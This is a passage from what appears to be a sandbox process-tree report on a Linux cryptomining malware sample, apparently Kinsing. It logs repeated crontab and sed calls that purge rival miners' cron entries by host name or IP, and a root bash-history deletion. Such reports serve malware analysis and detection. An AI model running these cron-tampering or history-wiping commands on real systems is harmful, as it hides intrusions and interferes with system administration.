                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:564
                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:565
                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:566
                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:568
                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                sed /aliyun.one/d
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:567
                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:569
                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                    sed /3.215.110.66.one/d
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:570
                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:571
                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:572
                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                          sed /pastebin/d
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:573
                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:574
                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:578
                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                sed /onion/d
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:579
                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                    PID:580
                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                    sed /lsd.systemten.org/d
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:582
                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:581
                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:583
                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:584
                                                                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                                                                            sed /shuf/d
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:585
                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:586
                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:587
                                                                                                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                                                                                                  sed /ash/d
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:588
                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                      PID:589
                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                        PID:590
                                                                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                                                                        sed /mr.sh/d
                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                          PID:591
                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                            PID:592
                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                              PID:593
                                                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                                                              sed /185.181.10.234/d
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                PID:594
                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:595
                                                                                                                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                                                                                                                  sed /localhost.xyz/d
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                    PID:597
                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                      PID:596
                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                        PID:598
                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                          PID:599
                                                                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                                                                          sed /45.137.151.106/d
                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                            PID:600
                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                              PID:601
                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:602
                                                                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                sed /111.90.159.106/d
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:603
                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:604
                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:605
                                                                                                                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                      sed /github/d
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:606
                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:607
                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:608
                                                                                                                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                            sed /bigd1ck.com/d
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:609
                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:610
                                                                                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                sed /xmr.ipzse.com/d
                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:612
                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:611
                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:613
                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                      sed /185.181.10.234/d
                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:615
                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:614
                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:616
                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:617
                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                              sed /146.71.79.230/d
                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:618
                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:619
                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:620
                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:622
                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                      sed /122.51.164.83/d
                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:621
                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:623
                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                          sed /newdat.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:624
                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:625
                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:629
                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                sed /lib.pygensim.com/d
                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:630
                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:631
                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:632
                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                      sed /t.amynx.com/d
                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:633
                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:634
                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:635
                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                            sed /update.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:636
                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:637
                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:638
                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                  sed /systemd-service.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:639
                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:640
                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:641
                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                        sed /pg_stat.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:642
                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:643
                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:644
                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                              sed /sleep/d
                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:645
                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:646
                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:647
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                    sed /oka/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:648
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:649
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:650
                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                          sed /linux1213/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:651
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:652
                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                              sed "/#wget/d"
                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:654
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:653
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:655
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      sed "/#curl/d"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:657
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:658
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:659
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sed /zsvc/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:661
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:662
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  sed /givemexyz/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:663
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:665
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sed /world/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:666
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:667
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:668
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              sed /1.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:669
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:670
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:671
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    sed /3.sh/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:672
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:673
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sed /workers/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:677
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:678
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:680
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • /bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sed /oracleservice/d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:681
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:682
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    crontab -l
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:683
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • /bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      grep -e 185.191.32.198
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:684
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • /bin/grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        grep -v grep
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:685
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          crontab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:687
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            rm -rf /root/.bash_history
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:689
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            awk "{ print \$1 }"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:473
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/md5sum
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              md5sum /etc/kinsing
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              1⤵
